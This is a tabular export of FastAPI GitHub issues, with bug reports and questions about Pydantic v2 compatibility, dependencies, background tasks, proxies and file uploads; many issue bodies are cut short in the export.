tiangolo/fastapi,2183174282,Package on test.pypi.org is broken,"Package on test.pypi.org is broken 

```
~/Downloads/FASTAPI-1.0 > ls -al
total 40
drwxrwxrwx@   9 supemroon  staff   288  9 29  2022 .
drwx------@ 137 supemroon  staff  4384  2 21 10:03 ..
drwxrwxrwx@   7 supemroon  staff   224  9 29  2022 FASTAPI.egg-info
-rw-rw-rw-@   1 supemroon  staff  1076  9 29  2022 LICENSE.txt
-rw-rw-rw-@   1 supemroon  staff   328  9 29  2022 PKG-INFO
-rw-rw-rw-@   1 supemroon  staff   537  9 29  2022 README.md
-rw-rw-rw-@   1 supemroon  staff    42  9 29  2022 setup.cfg
-rw-rw-rw-@   1 supemroon  staff   602  9 29  2022 setup.py
drwxrwxrwx@   4 supemroon  staff   128  9 29  2022 venv
```


```
# setup.py

from setuptools import setup

with open('DESCRIPTION.txt') as file:
    long_description = file.read()

with open('requirements.txt') as f:
    required = f.read().splitlines()

setup(name='FASTAPI',
      version='1.0',
      description='A small api that uses fastapi-users',
      long_description=long_description,
      url = ""https://github.com/ladejavu/python-dev/tree/docker"",
      author='sundus_ladejavu',
      author_email='sundus.khalid@ladejavu.com',
      license='MIT',
      packages=['venv'],
      install_requires=required,
      keywords='fastapi'
      )
```

_Originally posted by @GodMoonGoodman in https://github.com/tiangolo/fastapi/discussions/11173#discussioncomment-8536969_",,2024-03-13T05:53:54Z,2024-03-13T08:24:19Z,0
tiangolo/fastapi,2181121916,trying to live video stream using Fastapi,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

while i am trying to build Fastapi with html to live stream video but i am getting this error ""no video with supported format and MIME type found"" can any please help me with this error",,2024-03-12T09:24:10Z,2024-03-12T09:52:48Z,0
tiangolo/fastapi,2168779501,Breaking change with path parameters when updating to pydantic>=2 from pydantic<2,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11250

<div type='discussions-op-text'>

<sup>Originally posted by **ThirVondukr** March  5, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uuid import UUID

from fastapi import FastAPI

app = FastAPI()


@app.get(""/int/{path}"")
async def int_(path: int | str):
    return str(type(path))


@app.get(""/uuid/{path}"")
async def uuid_(path: UUID | str):
    return str(type(path))
```


### Description

With pydantic<2 parameters are correctly parsed as int and UUID if an appropriate string is passed, with pydantic 2 they're always interpreted as str, I presume this will work the same way w... [TRUNCATED]",question,2024-03-05T09:57:58Z,2026-02-05T18:52:16Z,5
tiangolo/fastapi,2164565414,lifespan  ,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

2024-03-02 11:52:11.406 | ERROR    | uvicorn.lifespan.on:send:123 - Traceback (most recent call last):
  File ""C:\Users\zyuvs\AppData\Local\pypoetry\Cache\virtualenvs\pp-nhJP3jIv-py3.10\lib\site-packages\starlette\routing.py"", line 677, in lifespan
    async with self.lifespan_context(app) as maybe_state:
TypeError: 'module' object is not callable",,2024-03-02T04:01:42Z,2024-03-02T09:09:57Z,0
tiangolo/fastapi,2159166316,Potential footgun when using custom `Response(background=<Task()>)` in conjunction with injected `BackgroundTasks` - the custom response overwrites the tasks,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11214

<div type='discussions-op-text'>

<sup>Originally posted by **netanel-haber** February 28, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, BackgroundTasks
from starlette.responses import Response, BackgroundTask
import uvicorn

app = FastAPI()

@app.get(""/"")
async def endpoint(tasks: BackgroundTasks):
    tasks.add_task(lambda: print(""This won't be printed""))
    return Response(content=""Custom response"", background=BackgroundTask(lambda: print(""Only this will be printed"")))

uvicorn.run(app)
```


### Description

Hey! Thanks for the best framework in Pytho... [TRUNCATED]",question,2024-02-28T14:57:07Z,2026-05-18T13:07:26Z,7
tiangolo/fastapi,2158950740,axios can't receive error response status code,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Here is a middleware I defined:
class AccessControlMiddleware(BaseHTTPMiddleware):  
    async def dispatch(self, request: Request, call_next: Callable[..., Awaitable[Response]]) -> Response:  
        if request.url.path == '/api/forbidden':
            return Response(status_code=status.HTTP_403_FORBIDDEN, content=""Forbidden"")
        response = await call_next(request)
        return response

When I access an interface that does not exist, axios can know the 404 status code from the response, but when I access /api/forbidden, I cannot know the status code.

axios.get('http://127.0.0.1:8000/api/notfound').then(res => {
  console.log(res);
}).catch(err => {
  console.log(err.response); // axios error contains 404
});

axios.get('http://127.0.0.1:8000/api/forbidden').then(res => {
  console.log(res);
}).catch(err => {
  console.log(err.response); // undefined
})",,2024-02-28T13:16:25Z,2024-02-28T13:20:44Z,0
tiangolo/fastapi,2149066360,Support for Pydantic deprecated fields,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

First of all sorry for breaking the rule here by opening an issue instead of a discussion, but the discussion template isn't really relevant and I wanted to make sure it was visible.

A deprecated option is currently being added in Pydantic for fields: https://github.com/pydantic/pydantic/pull/8237

CI currently breaks when running FastAPI tests, as it seems to already support deprecated params with a boolean option. Did a quick look and `Param`, which inherits from `FieldInfo`, sets the `deprecated` boolean argument on the class while I implemented it as a string.

Not sure how to fix this, it's been a while since I've worked with FastAPI, but there may be some small room for changes in the upstream implementation if required. ","feature,p3",2024-02-22T13:21:26Z,2024-02-29T20:03:03Z,1
tiangolo/fastapi,2140718691,Middleware runs twice ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

2024-02-18 11:33:05.299 | INFO     | patrol.middlewares:add_middleware:18 - add GZip middleware
2024-02-18 11:33:05.336 | INFO     | patrol.middlewares:add_middleware:18 - add GZip middleware",,2024-02-18T03:34:59Z,2024-02-18T03:35:51Z,8
tiangolo/fastapi,2133918476,Context managers in `Depends` are broken after 0.106,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11107

<div type='discussions-op-text'>

<sup>Originally posted by **FeeeeK** February  7, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, Request

app = FastAPI()


class Session:
    def __init__(self):
        print(""creating session"")

    async def __aenter__(self):
        print(""opening session"")
        return self

    async def __aexit__(self, exc_type, exc, tb):
        print(""closing session"")

    async def commit(self):
        print(""committing session"")

    async def rollback(self):
        print(""rolling back session"")


@app.middle... [TRUNCATED]",bug,2024-02-14T09:37:11Z,2025-09-29T03:50:19Z,41
tiangolo/fastapi,2131649679,Use `RootModel` as query parameter,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11101

<div type='discussions-op-text'>

<sup>Originally posted by **WarpedPixel** February  6, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# fail.py
# uvicorn fail:app --reload

from fastapi import FastAPI
from pydantic import RootModel

SimpleID = RootModel[str]

app = FastAPI()

@app.get(""/test1"")
async def t1(param1: SimpleID):     # BUG: expected to be query param, but it is body
    return {""message"": f""Hello {param1}""}

# @app.get(""/test2"")
# async def t2(param1: Annotated[SimpleID, Query()]): # this workaround does NOT work
#     return {""message"": f""Hello {param1}""}

@app.get(""/t... [TRUNCATED]",question,2024-02-13T07:48:31Z,2026-02-05T18:47:58Z,8
tiangolo/fastapi,2122143014,[BUG] Upgrade python-mulipart==0.0.7 from low version fastapi upload file may be 400,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

> In order to fix the [security issue](https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389) of uploaded files, we upgraded the python-mulipart library, but this caused ""There was an error parsing the body"" to appear frequently when uploading files.
![image](https://github.com/tiangolo/fastapi/assets/53138073/ab35a6fd-ca76-4009-b225-bf821c362165)

- macos: 14.2.1 
- fastapi: 0.94.1
- python-multipart: 0.0.7 ",,2024-02-07T04:04:24Z,2024-02-09T16:25:00Z,4
tiangolo/fastapi,2104187935,How to fix this bug?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Python3.8.8\lib\site-packages\fastapi\params.py"", line 4, in <module>
    from pydantic.fields import FieldInfo, Undefined
ImportError: cannot import name 'Undefined' from 'pydantic.fields' (D:\Python3.8.8\lib\site-packages\pydantic\fields.py)",,2024-01-28T14:26:13Z,2024-01-29T08:51:30Z,2
tiangolo/fastapi,2103135915,[BUG] Using Nested Pydantic models and `params: MyModel = Depends()` forces OpenAPI docs GET methods to require a request body.,"### First check

* [x] I added a very descriptive title to this issue.
* [x] I used the GitHub search to find a similar issue and didn't find it.
* [ ] I searched the FastAPI documentation, with the integrated search.
  * Not familiar with the ""integrated search"".
* [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
* [x] I already read and followed all the tutorial in the docs and didn't find an answer.
* [x] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
* [x] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
* [x] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).
* [x] After submitting this, I commit to:
    * Read open issues with questions until I find 2 issues where I can help someone and add a comment to help there.
    * Or, I already hit the ""watch"" button in this repository to receive notifications and I commit to help at least 2 people that ask questions in the future.
    * Implement a Pull Request for a confirmed bug.

### Example

Here's a self-contained [minimal, reproducible, example](https://stackoverflow.com/help/minimal-reproducible-example) with my use case:


```Python
from fastapi import APIRouter, Depends, FastAPI, Query
from fastapi.responses import JSONResponse
from typing import List, Optional
from pydantic import ... [TRUNCATED]",,2024-01-27T02:07:54Z,2025-12-10T14:07:00Z,11
tiangolo/fastapi,2092568771,OpenAPI Example with multipart/form-data not showing up,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10937

<div type='discussions-op-text'>

<sup>Originally posted by **SeeRich** January 11, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated
from fastapi import FastAPI, UploadFile, Form, File

# Run using uvicorn main:app --reload
# Visit: http://127.0.0.1:8000/docs

app = FastAPI()

@app.post(""/form-test"")
async def form_test(
        str_data: Annotated[str, Form(examples=[""HELLO""])],
        file: Annotated[UploadFile, File()]):
    return
```


### Description

The `HELLO` example is not shown in the docs.

![fastapi](https://github.com/tiangolo/fastapi/asset... [TRUNCATED]",bug,2024-01-21T12:40:27Z,2025-12-10T14:01:48Z,10
tiangolo/fastapi,2092565180,Raw docstring (leading `r`) defeats form feed `\f` truncation,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10531

<div type='discussions-op-text'>

<sup>Originally posted by **jamesbraza** October 26, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.post(""/lof"")
def foo(arg: int = 5) -> int:
    """"""
    Some function.
    
    \f
    
    Args:
        arg: Some argument

    Returns:
        Some integer.
    """"""
    return arg
```


### Description

Running `ruff==0.1.3` on this, [`D301`](https://docs.astral.sh/ruff/rules/escape-sequence-in-docstring/) will autofix to make the docstring be a raw string (lead by `r`).

```python
@app.pos... [TRUNCATED]",feature,2024-01-21T12:30:04Z,2025-06-17T10:58:29Z,5
tiangolo/fastapi,2092553128,Using pydantic Json Type as Form data type doesn't work,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9305

<div type='discussions-op-text'>

<sup>Originally posted by **harpaj** March 23, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import FastAPI, Form
from pydantic import Json, BaseModel

app = FastAPI()


class JsonListModel(BaseModel):
    json_list: Json[list[str]]


@app.post(""/working"")
async def working(json_list: Annotated[str, Form()]) -> list[str]:
    model = JsonListModel(json_list=json_list)
    return model.json_list


@app.post(""/broken"")
async def broken(json_list: Annotated[Json[list[str]], Form()] ) -> list[str]:
    return j... [TRUNCATED]",question,2024-01-21T11:57:20Z,2026-02-05T18:35:13Z,5
tiangolo/fastapi,2089789753,No streaming interface can not support concurrency for  two fastapi servers ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content
I set up two fastapi server as follows.
![ff486bd749b1cd3bd95906a52c8620b](https://github.com/tiangolo/fastapi/assets/34344716/95c8b122-179f-41ef-8a77-6e4de52d85e2)

But I find that streaming interfaceface can support concurrency, but no streaming interface does. 
My code streaming interface follows:https://github.com/lm-sys/FastChat/blob/e86e70d0b48c3d6e2223de96b20e377315dbf73e/fastchat/serve/vllm_worker.py#L182
no streaming interface follows:https://github.com/lm-sys/FastChat/blob/e86e70d0b48c3d6e2223de96b20e377315dbf73e/fastchat/serve/vllm_worker.py#L192",,2024-01-19T07:09:18Z,2024-01-19T09:05:58Z,0
tiangolo/fastapi,2083826283,"""Behind a Proxy"" changed behaviour in the new version 0.109.0 (in Uvicorn)","### Discussed in https://github.com/tiangolo/fastapi/discussions/10948

This is related to a change in Starlette and Uvicorn, making them more formally follow the ASGI spec, Starlette already does since version 0.35.0 (recently), Uvicorn needs an equivalent change, in process on: https://github.com/encode/uvicorn/pull/2213

More details in the Starlette PR: https://github.com/encode/starlette/pull/2400

<div type='discussions-op-text'>

<sup>Originally posted by **neugeeug** January 12, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
uvicorn rest.main:server --host 0.0.0.0 --port 8080 --reload --root-path /proxy

server = FastAPI()

# separate spec at /v1/docs
serv... [TRUNCATED]",bug,2024-01-16T12:20:55Z,2024-01-19T14:02:25Z,13
tiangolo/fastapi,2078436386,[Docs] Incorrect link in SQL Databases Tutorial (Alembic Note ),"### Discussed in https://github.com/tiangolo/fastapi/discussions/10944

<div type='discussions-op-text'>

<sup>Originally posted by **micallefdaniel** January 12, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
You can find an example of Alembic in a FastAPI project in the templates from [Project Generation - Template](../project-generation.md){.internal-link target=_blank}. Specifically in <a href=""https://github.com/tiangolo/full-stack-fastapi-postgresql/tree/master/%7B%7Bcookiecutter.project_slug%7D%7D/backend/app/alembic/"" class=""external-link"" target=""_blank"">the `alembic` directory in the source code</a>.
```


### Description

Link to Alembic example in [SQL Da... [TRUNCATED]","good first issue,docs",2024-01-12T09:35:15Z,2024-01-12T13:43:59Z,1
tiangolo/fastapi,2059206524,Passing UploadFile objects into a StreamingResponse closes it in v0.106.0 but not v0.105.0,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10856

<div type='discussions-op-text'>

<sup>Originally posted by **adrwz** December 28, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
async def upload_file_event(files: List[UploadFile]):
    print(""2"", files[0].filename, files[0].file._file.closed)

    # ... more code ...


@router.post(""/upload_session_file"")
async def upload_file(files: List[UploadFile] = File(...)):
    print(""1"", files[0].filename, files[0].file._file.closed)

    try:
        return StreamingResponse(
            upload_file_event(files),
            media_type=""text/event-stream"",
        )
    except Exception as er... [TRUNCATED]",investigate,2023-12-29T08:46:25Z,2025-09-29T03:50:28Z,53
tiangolo/fastapi,2044884631,Old `HTTPValidationError` and `ValidationError` OpenAPI entry,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Those lines need to be updated:

https://github.com/tiangolo/fastapi/blob/36c26677682c4245183912e00fc057c05cc6cf7a/fastapi/openapi/utils.py#L36-L61

They reflect how it was before 0.100.0, but with Pydantic V2, that's no longer true.",bug,2023-12-16T18:07:30Z,2026-02-04T14:34:40Z,7
tiangolo/fastapi,2044875921,RequestValidationError is **not** a sub-class of Pydantic's ValidationError,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10421

<div type='discussions-op-text'>

<sup>Originally posted by **valentinoli** October 10, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.exception_handler(ValidationError)
async def validation_exception_handler(request: Request, exc: ValidationError):
    return PlainTextResponse(
        str(exc), status_code=status.HTTP_500_INTERNAL_SERVER_ERROR
    )
```


### Description

I was trying to handle both `RequestValidationError` and `ValidationError` by writing a custom handler for `ValidationError` but that doesn't work.

[The docs](https://fastapi.tiangolo.com/tutorial/handling-errors/#... [TRUNCATED]","question,docs",2023-12-16T17:48:02Z,2023-12-18T10:55:00Z,3
tiangolo/fastapi,2010968627,functools.partial() does not work on an async dependable,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9744

<div type='discussions-op-text'>

<sup>Originally posted by **lieryan** June 26, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from functools import partial

from fastapi import FastAPI, Depends


app = FastAPI()

def the_answer():
    return 42


async def dep1(
    n: int = Depends(the_answer),
):
    return n + 1

@app.get(""/"")
def main(
    d1=Depends(partial(dep1, n=10)),
):
    print(d1)   # prints ""<coroutine object dep1 at 0x7facc996fb50>""
    return {}


if __name__ == '__main__':
    import uvicorn
    uvicorn.run(app, port=1122)
```


### Description

I would'... [TRUNCATED]","question,investigate",2023-11-26T09:31:09Z,2025-12-02T20:58:31Z,5
tiangolo/fastapi,2010964420,`Annotated` dependencies are interpreted incorrectly when using `PEP 695`-style type alias.,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10662

<div type='discussions-op-text'>

<sup>Originally posted by **Rockmizu** November 16, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from __future__ import annotations

from typing import Annotated, TypeAlias

from fastapi import Depends, FastAPI

app = FastAPI()


# dependency
async def some_value() -> int:
    return 123

# This works.
DependedValue: TypeAlias = Annotated[int, Depends(some_value)]

# This won't work.
# type DependedValue = Annotated[int, Depends(some_value)]


@app.get('/')
async def get_with_dep(value: DependedValue) -> str:
    print(f'{type(value) = !r}')
  ... [TRUNCATED]",question,2023-11-26T09:17:29Z,2026-02-05T18:34:39Z,8
tiangolo/fastapi,2010955229,FastAPI with Pydantic v2 and FastAPI-JWT-Auth,"Pydantic v2 isn't working with FastAPI-JWT-Auth i'm always getting the Type Error highlighting that @validators can not be applied on schemas of  json-to-python.

So is there any other alternative other than downgrading to version 1?",,2023-11-26T08:44:35Z,2023-11-26T09:15:04Z,0
tiangolo/fastapi,2005874531,AttributeError: root on self.__pydantic_serializer__.to_python after upgrade Fastapi to 0.103.1,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

After update fastapi to 0.103.1, the RootModel cannot be serialized anymore. Here is my SerializableMessage class:

```
class SerializableMessage(RootModel):
    root: Message

    class Config:
        arbitrary_types_allowed = True  # for Message
```

the below `server_debug_summary` contains SerializableMessage:

> File ""N:\Pycharm\xxxx\src\app\web\views\debug_view.py"", line 54, in _compute_debug_summary
>     debug_view_data.update(jsonable_encoder(server_debug_summary))
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\fastapi\encoders.py"", line 131, in jsonable_encoder
>     obj_dict = _model_dump(
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\fastapi\_compat.py"", line 171, in _model_dump
>     return model.model_dump(mode=mode, **kwargs)
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\pydantic\main.py"", line 308, in model_dump
>     return self.__pydantic_serializer__.to_python(
> AttributeError: root",,2023-11-22T09:03:03Z,2023-11-22T09:24:22Z,0
tiangolo/fastapi,1995908970,Fastapimysql,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Fastapi creating no of connection In mysql I can't find the reason,some of the time only it is happening we feel when one query response is delay that time it happening also Some one big query running totally fastapi freezed that I am restarting the service ",,2023-11-16T02:13:10Z,2023-11-16T07:37:29Z,0
tiangolo/fastapi,1980953502,Fastapi cannot be effectively restarted after forced shutdown (ctrl+c),"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I use ctrl + c to forcefully close the current fastapi program, the cmd interface only stays at Finishsever and the shuttingdown code line cannot be seen. At this time, fastapi can still be used normally and is not effectively closed.

But when I directly closed the cmd program running by fastapi by killing the process, and restarted fastapi through python, it could no longer automatically and **effectively restart** as the code file changed _(I modified the code at will, but fastapi read The code file still stays at the last update before closing, and subsequent updates and changes are ignored by uvicorn_).

I can only make the fastapi program run normally by restarting the computer, but the **cost of** restarting the computer is too high. I want to keep fastapi and uvicorn closed and started normally. What should I do?",,2023-11-07T09:49:29Z,2023-11-07T09:51:39Z,0
tiangolo/fastapi,1973801790,What is the differance between FastApi Depends and pydantic BaseModel,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi everyone, can you explain me this topic and when use pydanctic BaseModel and when Depends",,2023-11-02T09:04:12Z,2023-11-02T11:40:35Z,1
tiangolo/fastapi,1971826304,Failed Boot Operation,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content



**Title:** Failed Boot Operation with FastAPI

**Issue Type:** Bug

**Description:**

When attempting to start my FastAPI application, I encountered a ""Failed Boot Operation"" error. This prevents the application from starting up.

**Steps to Reproduce:**

1. Install FastAPI using pip.
2. Create a basic FastAPI app.
3. Attempt to run the application.
4. Observe the ""Failed Boot Operation"" error.

**Expected Behavior:**

The FastAPI application should start without any errors.

**Actual Behavior:**

The application throws a ""Failed Boot Operation"" error and fails to start.

**Environment:**

- FastAPI Version: (1.0)
- Python Version: (3.1.1)
- Operating System: (windows 11)


",,2023-11-01T07:06:30Z,2023-11-01T08:54:48Z,0
tiangolo/fastapi,1955262193,How to use multi BackgroundTasks,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I want like this but not work
![image](https://github.com/tiangolo/fastapi/assets/77484083/6ec8fb07-8f48-4d34-8876-17f2c36bb236)

How to use like that? Thanks everyone",,2023-10-21T03:09:33Z,2023-10-21T06:55:35Z,0
tiangolo/fastapi,1949612544,Combining image and data response in fast api.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,

I want to send image as well as information related to the image as response in fast api. I tried passing data as header information in file response, I am able to get only image in the output response not the data information. Can anyone help me.",,2023-10-18T12:20:13Z,2023-10-18T12:22:36Z,0
tiangolo/fastapi,1945254194,verification failed,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Service registration to eureka and post request, entity verification failed",,2023-10-16T13:43:33Z,2023-10-16T15:25:02Z,0
tiangolo/fastapi,1937234563,RequestValidationError is **not** a sub-class of Pydantic's ValidationError,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10421

<div type='discussions-op-text'>

<sup>Originally posted by **valentinoli** October 10, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
